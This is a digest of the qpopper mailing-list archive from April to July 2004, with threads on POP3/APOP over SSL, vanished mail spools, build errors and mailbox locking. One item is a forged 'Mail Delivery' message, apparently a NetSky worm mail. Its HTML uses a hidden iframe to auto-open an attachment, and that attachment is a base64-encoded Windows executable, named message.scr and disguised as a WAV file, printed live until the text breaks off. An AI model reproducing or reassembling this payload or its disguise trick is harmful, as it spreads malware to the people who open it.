The qpopper list archive ending on 16 Jul 2004
Topics covered in this issue include:
1. Pop3s with APOP using Mozilla,Sylpheed,...
Andreas Kern <Kern.Schatten at gmx dot net>
Tue, 06 Apr 2004 22:03:08 +0200
2. Losing incoming mail in a webmail client
Joe DeBattista <joed at itsa.ucsf dot edu>
Fri, 9 Apr 2004 17:30:59 -0700 (PDT)
3. Re: Losing incoming mail in a webmail client
"Ken Anderson (Pacific Internet)" <ka at pacific dot net>
Mon, 12 Apr 2004 08:29:52 -0700
4. Mail Delivery (failure qpopper at lists.pensive dot org)
earle at isolar.dyndns dot org
Tue, 27 Apr 2004 10:35:43 +0800
5. Forged NetSky virus e-mails to the mailing list using my e-mail address
Greg Earle <earle at isolar.DynDNS dot ORG>
Tue, 27 Apr 2004 09:20:22 -0700
6. Problem compiling qpopper on Mandrake 9.2
Mike <qpopper at mikesbytes dot com>
Wed, 05 May 2004 23:25:40 -0700
7. Re: Problem compiling qpopper on Mandrake 9.2
The Little Prince <thelittleprince at asteroid-b612 dot org>
Thu, 6 May 2004 01:06:20 -0600 (MDT)
8. Re: Problem compiling qpopper on Mandrake 9.2
Mike <qpopper at mikesbytes dot com>
Thu, 06 May 2004 11:01:29 -0700
9. Problem using chained certificates
Arne Brutschy <mai01cvr at studserv.uni-leipzig dot de>
Tue, 11 May 2004 10:20:05 +0200
10. qpopper timeout
"Lisa Casey" <lisa at jellico dot net>
Wed, 26 May 2004 13:35:28 -0400
11. log to stdout instead of syslog
"Krayzman, Dmitriy" <dkrayzma at mail.mcw dot edu>
Wed, 2 Jun 2004 17:05:24 -0500
12. Re: log to stdout instead of syslog
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Wed, 2 Jun 2004 18:43:23 -0400
13. Re: log to stdout instead of syslog
peter at netlink.com dot au
Thu, 3 Jun 2004 10:25:19 +1000 (EST)
14. Re: log to stdout instead of syslog
David Champion <dgc at uchicago dot edu>
Wed, 2 Jun 2004 19:43:02 -0500
15. RE: Text message
"Jackson" <jackson at nbi.ispkenya dot com>
Thu, 03 Jun 2004 12:01:39 +0300
16. RE: log to stdout instead of syslog
"Krayzman, Dmitriy" <dkrayzma at mail.mcw dot edu>
Thu, 3 Jun 2004 10:28:35 -0500
17. New changes
"Jackson" <jackson at nbi.ispkenya dot com>
Fri, 04 Jun 2004 10:01:59 +0300
18. Changes..
"Jackson" <jackson at nbi dot ispkenya dot com>
Mon, 07 Jun 2004 09:38:21 +0300
19. Changes..
"Jackson" <jackson at nbi dot ispkenya dot com>
Wed, 09 Jun 2004 10:15:13 +0300
20. Make not working on Fedora Core 2 Installation
"John Gallagher" <john dot gallagher at sbcglobal dot net>
Thu, 24 Jun 2004 17:21:54 -0700
21. Re: Make not working on Fedora Core 2 Installation
Daved Daly <daved dot daly at gmail dot com>
Thu, 24 Jun 2004 22:15:16 -0700
22. Re: Make not working on Fedora Core 2 Installation
Kenneth Porter <shiva at sewingwitch dot com>
Fri, 25 Jun 2004 00:20:33 -0700
23. RE: Make not working on Fedora Core 2 Installation
"John Gallagher" <john dot gallagher at sbcglobal dot net>
Fri, 25 Jun 2004 07:13:03 -0700
24. Qpopper Questions RE: flock()
Ladar Levison <ladar at nerdshack dot com>
Tue, 29 Jun 2004 15:07:27 -0500
25. Re: Qpopper Questions RE: flock()
Jan Cobb <jan dot cobb at ntlworld dot com>
Tue, 29 Jun 2004 21:52:39 +0100
26. Re: Qpopper Questions RE: flock()
george <gasjr4wd at mac dot com>
Tue, 29 Jun 2004 18:36:18 -0400
27. Re: Qpopper Questions RE: flock()
Jan Cobb <jan dot cobb at ntlworld dot com>
Wed, 30 Jun 2004 11:44:18 +0100
28. Can anyone shed some light on this EOF Error
"Kevin M dot Barrett" <kmb at kmb dot com>
Wed, 30 Jun 2004 10:12:38 -0400
29. Re: Qpopper Questions RE: flock()
Jan Cobb <jan dot cobb at ntlworld dot com>
Wed, 30 Jun 2004 16:33:09 +0100
30. Re: Qpopper Questions RE: flock()
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Wed, 30 Jun 2004 13:06:17 -0400
31. Re: Qpopper Questions RE: flock()
Daniel Senie <dts at senie dot com>
Wed, 30 Jun 2004 13:51:27 -0400
32. [Resend] Re: Qpopper Questions RE: flock()
Clifton Royston <cliftonr at lava dot net>
Tue, 29 Jun 2004 16:20:39 -1000
33. Re: Qpopper Questions RE: flock()
"Michael Kolos" <michael at colba dot net>
Wed, 30 Jun 2004 17:21:31 -0400 (EDT)
34. Re: Qpopper Questions RE: flock()
Alan Brown <alanb at digistar dot com>
Thu, 1 Jul 2004 05:14:05 -0400 (EDT)
35. Re: Qpopper Questions RE: flock()
Clifton Royston <cliftonr at lava dot net>
Thu, 1 Jul 2004 09:31:13 -1000
36. Re: Qpopper Questions RE: flock()
Jan Cobb <jan dot cobb at ntlworld dot com>
Thu, 01 Jul 2004 20:47:26 +0100
37. Re: Qpopper Questions RE: flock()
Clifton Royston <cliftonr at lava dot net>
Thu, 1 Jul 2004 09:37:02 -1000
38. Re: Qpopper Questions RE: flock()
Ladar Levison <ladar at nerdshack dot com>
Thu, 01 Jul 2004 15:28:20 -0500
39. remote mail client ?
Iris Silva <iris at ibw dot com dot ni>
Fri, 2 Jul 2004 15:38:24 -0600 (GMT)
40. Re: remote mail client ?
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Fri, 2 Jul 2004 18:09:50 -0400
41. Re: remote mail client ?
Ken A <ka at pacific dot net>
Fri, 02 Jul 2004 15:58:50 -0700
42. Re: remote mail client ?
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Sat, 3 Jul 2004 00:08:53 -0700
43. RE: remote mail client ?
"Rudy Mendoza" <rudy at planetlink dot net>
Sun, 4 Jul 2004 14:50:41 -0500
44. RE: remote mail client ?
"Derek C dot " <coffee at blarg dot net>
Sun, 04 Jul 2004 13:12:28 -0700
45. Re: remote mail client ?
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Sun, 4 Jul 2004 18:07:35 -0700
46.
"Aymeric MUNTZ" <aymeric dot muntz at free dot fr>
Thu, 15 Jul 2004 20:45:55 +0200
47. client timeout
"Aymeric MUNTZ" <aymeric dot muntz at free dot fr>
Thu, 15 Jul 2004 20:47:49 +0200
48. Re: client timeout
James Sneeringer <james+qpopper at vincentsystems dot com>
Thu, 15 Jul 2004 22:33:07 -0500
49. Re: client timeout
Alan Brown <alanb at digistar dot com>
Fri, 16 Jul 2004 05:35:31 -0400 (EDT)
50. Re: client timeout
James Sneeringer <james+qpopper at vincentsystems dot com>
Fri, 16 Jul 2004 11:12:30 -0500
Date: Tue, 06 Apr 2004 22:03:08 +0200
From: Andreas Kern <Kern.Schatten at gmx dot net>
Subject: Pop3s with APOP using Mozilla,Sylpheed,...
Good evening,
I'm sorry that my Englisch is really bad,but i'll try to describe my
problem as clear as possible.
I've installed a fresh version of qpopper(4.0.5),configured it and made
secure mail fetching with APOP and SSL/TLS possible.
Currently,i'm only able to use Kmail to get my messages from
popper,neither Mozilla nor Sylpheed are able even to start a correct
connection.
/var/log/mail contains the following entries for the specific time:
---------------------------------------------
Apr 6 21:11:05 ~ popper[27064]: (null) at ~(~): -ERR Unknown command:
"\200g^A^C^A".
...
Apr 6 21:20:59 ~ popper[27104]: (null) at ~(~): -ERR Unknown command:
"\200z^A^C^A".
---------------------------------------------
The first message is form an attempted access from Mozilla,using the
options for secure pop3 access.
The second one was generated by Sylpheed,it gues ist was an connection
attempt with SSL.
If I tell Sylpheed to send a "STLS"-command,the server responds just an
error,because it seems not be implemented.
What is causing these troubles and how could those erros be fixed?Or is
they reason for all located at client side and only kmail implements
pop3 and the extended pop3 command correctly?
Any help,even the smallest hints are welcome.
Andreas
PS:Suse 9.0,saslauthd also up-to-date,2.4.x-Kernel
Date: Fri, 9 Apr 2004 17:30:59 -0700 (PDT)
From: Joe DeBattista <joed at itsa.ucsf dot edu>
Subject: Losing incoming mail in a webmail client
Hi,
We're running Qpopper 4.0.5 on a solaris machine. We have a webmail product
called Emumail that let's a user pick up their mail from our solaris machine.
We have had intermittent problems where the user's incoming mail suddenly
disappears. Not just one or two messages, but everything that was in
/var/mail/their_username. In the poplog I have, I noticed these messages
Apr 8 14:03:39 itsa qpopper[12807]: [ID 702911 local0.notice] gnelson at
itsa.ucsf.edu (128.218.95.23): -ERR [IN-USE] /var/mail/.gnelson.pop lock
busy! Is another session active? (11)
Apr 8 14:04:03 itsa qpopper[13040]: [ID 702911 local0.notice] (v4.0.5) POP
login by user "gnelson" at (itsa.ucsf.edu) 128.218.95.23
Apr 8 14:04:09 itsa qpopper[13370]: [ID 702911 local0.notice] spool older
than cache file /var/mail/.gnelson.cache
These messages appeared around the time that gnelson lost the mail. Has anyone
seen this sort of problem?
Joe DeBattista
UCSF, ITS
INTERNET: joed at itsa.ucsf dot edu
Date: Mon, 12 Apr 2004 08:29:52 -0700
From: "Ken Anderson (Pacific Internet)" <ka at pacific dot net>
Subject: Re: Losing incoming mail in a webmail client
Joe DeBattista wrote:
> Hi,
> We're running Qpopper 4.0.5 on a solaris machine. We have a webmail product
> called Emumail that let's a user pick up their mail from our solaris machine.
> We have had intermittent problems where the user's incoming mail suddenly
> disappears.
Are you sure it's not in /var/mail/.gnelson.pop?
That's where qpopper creates a copy of the mailspool when interacting
with the client. If something goes wrong, qpopper usually leaves the
file there and continues to complain of a pop lock until you clear it.
It depends on how you are running qpopper too, of course, since some
modes are not as 'safe' as others.
Ken A
Pacific.Net
Not just one or two messages, but everything that was in
> /var/mail/their_username. In the poplog I have, I noticed these messages
>
> Apr 8 14:03:39 itsa qpopper[12807]: [ID 702911 local0.notice] gnelson at
> itsa.ucsf.edu (128.218.95.23): -ERR [IN-USE] /var/mail/.gnelson.pop lock
> busy! Is another session active? (11)
> Apr 8 14:04:03 itsa qpopper[13040]: [ID 702911 local0.notice] (v4.0.5) POP
> login by user "gnelson" at (itsa.ucsf.edu) 128.218.95.23
> Apr 8 14:04:09 itsa qpopper[13370]: [ID 702911 local0.notice] spool older
> than cache file /var/mail/.gnelson.cache
>
> These messages appeared around the time that gnelson lost the mail. Has anyone
> seen this sort of problem?
>
>
> Joe DeBattista
> UCSF, ITS
> INTERNET: joed at itsa.ucsf dot edu
>
>
From: earle at isolar.dyndns dot org
Subject: Mail Delivery (failure qpopper at lists.pensive dot org)
Date: Tue, 27 Apr 2004 10:35:43 +0800
This is a multi-part message in MIME format.
------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"
------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1"
http-equiv=Content-Type>
<META content="MSHTML 5.00.2920.0" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>If the message will not displayed automatically,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>
<a href=cid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=0 width=0>www.lists.pensive.org/inbox/qpopper/read dot php?sessionid-13706</a>
<iframe
src=cid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=0 width=0></iframe>
<DIV> </DIV></BODY></HTML>
------=_NextPart_001_001C_01C0CA80.6B015D10--
------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: audio/x-wav;
name="message.scr"
Content-Transfer-Encoding: base64
Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re>
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
